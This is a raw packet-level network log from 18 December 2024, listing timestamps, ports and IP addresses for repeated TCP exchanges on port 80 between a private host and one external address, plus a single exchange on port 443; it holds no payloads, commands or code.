Dec 18, 2024 15:21:16.496414900 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.496449947 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.497570992 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.497612953 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.497705936 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.497741938 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.498794079 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.498838902 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.498862982 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.499038935 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.592760086 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.592814922 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.592855930 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.592905045 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.593157053 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.593199968 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.593326092 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.593368053 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.594432116 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.594445944 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.594474077 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.594499111 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.595114946 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.595158100 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.595227957 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.595271111 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.596323967 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.596363068 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.596411943 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.596443892 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.597646952 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.597691059 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.597723961 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.597765923 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.598790884 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.598834991 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.598906040 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.598944902 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.599992990 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.600030899 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.600132942 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.600167036 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.601428986 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.601465940 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.601619005 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.601700068 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.603066921 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.603111029 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.603158951 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.603198051 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.604629993 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.604676962 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.604742050 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.604782104 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.606018066 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.606062889 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.606126070 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.606189966 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.607497931 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.607546091 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.607594967 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.607634068 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.608814001 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.608858109 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.608884096 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.608917952 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.609899998 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.609941006 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.609961987 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.609996080 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.611118078 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.611164093 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.611197948 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.611239910 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.612324953 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.612370968 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.612489939 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.612529993 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.613719940 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.613764048 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.613884926 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.613928080 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.614942074 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.614986897 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.615034103 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.615073919 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.616159916 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.616205931 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.616259098 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.616297960 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.617213964 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.617259979 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.617309093 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.617348909 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.618865013 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.618884087 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.618913889 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.618937969 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.620145082 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.620181084 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.620191097 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.620219946 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.621359110 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.621403933 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.621459961 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.621498108 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.622458935 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.622502089 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.622524977 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.622565985 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.623663902 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.623714924 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.623760939 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.623801947 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.624723911 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.624771118 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.624793053 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.624814987 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.625818968 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.626461983 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.717446089 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.717463970 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.717499018 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.717525005 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.718085051 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.718127012 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.718195915 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.718229055 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.718832016 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.718873978 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.718909025 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.718943119 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.720244884 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.720288992 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.720594883 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.720633030 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.721609116 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.721659899 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.721718073 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.721755981 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.722879887 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.722925901 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.722954035 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.722985029 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.723779917 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.723824024 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.723896980 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.723936081 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.725168943 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.725218058 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.725249052 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.725291967 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.726505995 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.726552010 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.726627111 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.726665020 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.727740049 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.727787018 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.727788925 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.727821112 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.731616020 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.731645107 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.731662035 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.731669903 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.731694937 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.731703043 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.731703997 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.731736898 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.731748104 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.731762886 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.731796026 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.731796026 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.732481003 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.732594013 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.732686043 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.733594894 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.733649969 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.733684063 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.733717918 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.734822989 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.734867096 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.734946966 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.734978914 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.736124039 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.736176968 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.736367941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.736407995 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.737498045 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.737545967 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.737776041 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.737817049 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.738770962 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.738828897 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.738838911 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.738861084 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.739866972 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.739922047 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.739963055 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.739996910 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.741080999 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.741127014 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.741128922 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.741162062 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.742175102 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.742221117 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.742301941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.742341042 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.776998043 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.897980928 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.168668985 CET	443	49741	23.1.237.91	192.168.2.5
Dec 18, 2024 15:21:17.169316053 CET	49741	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:21:17.214273930 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.214308023 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.214411020 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.214875937 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.214903116 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.214967966 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.214967966 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.215961933 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.216002941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.216023922 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.216064930 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.217308044 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.217392921 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.217427969 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.217447042 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.218985081 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.219002008 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.219048977 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.219104052 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.220159054 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.220216036 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.220235109 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.220283031 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.221219063 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.221332073 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.221379995 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.222328901 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.222440004 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.222455025 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.222590923 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.223241091 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.223294973 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.223401070 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.223527908 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.224392891 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.224482059 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.224575996 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.224653959 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.225656033 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.225729942 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.225959063 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.227029085 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.227113008 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.227132082 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.227171898 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.228517056 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.228576899 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.228627920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.228785038 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.229608059 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.229790926 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.338272095 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.338304043 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.338368893 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.338368893 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.338869095 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.338949919 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.339116096 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.339180946 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.340169907 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.340240002 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.340328932 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.340574980 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.341259956 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.341357946 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.341420889 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.341439962 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.342569113 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.342641115 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.342647076 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.342710018 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.343724966 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.343772888 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.343815088 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.343869925 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.345035076 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.345169067 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.345248938 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.345307112 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.346760988 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.346858025 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.346865892 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.346972942 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.348052025 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.348135948 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.348175049 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.348351002 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.349070072 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.349190950 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.349190950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.349370956 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.350301027 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.350347996 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.350383997 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.350445032 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.351391077 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.351430893 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.351473093 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.351473093 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.352524042 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.352613926 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.353184938 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.353646994 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.353667021 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.353789091 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.354816914 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.354954004 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.354998112 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.354998112 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.356036901 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.356082916 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.356142998 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.357182026 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.357359886 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.357413054 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.357511997 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.358511925 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.358581066 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.358622074 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.358622074 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.359724045 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.359783888 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.359841108 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.360225916 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.360944033 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.361042976 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:17.361082077 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.361082077 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:17.362369061 CET	80	49771	185.215.113.206	192.168.2.5
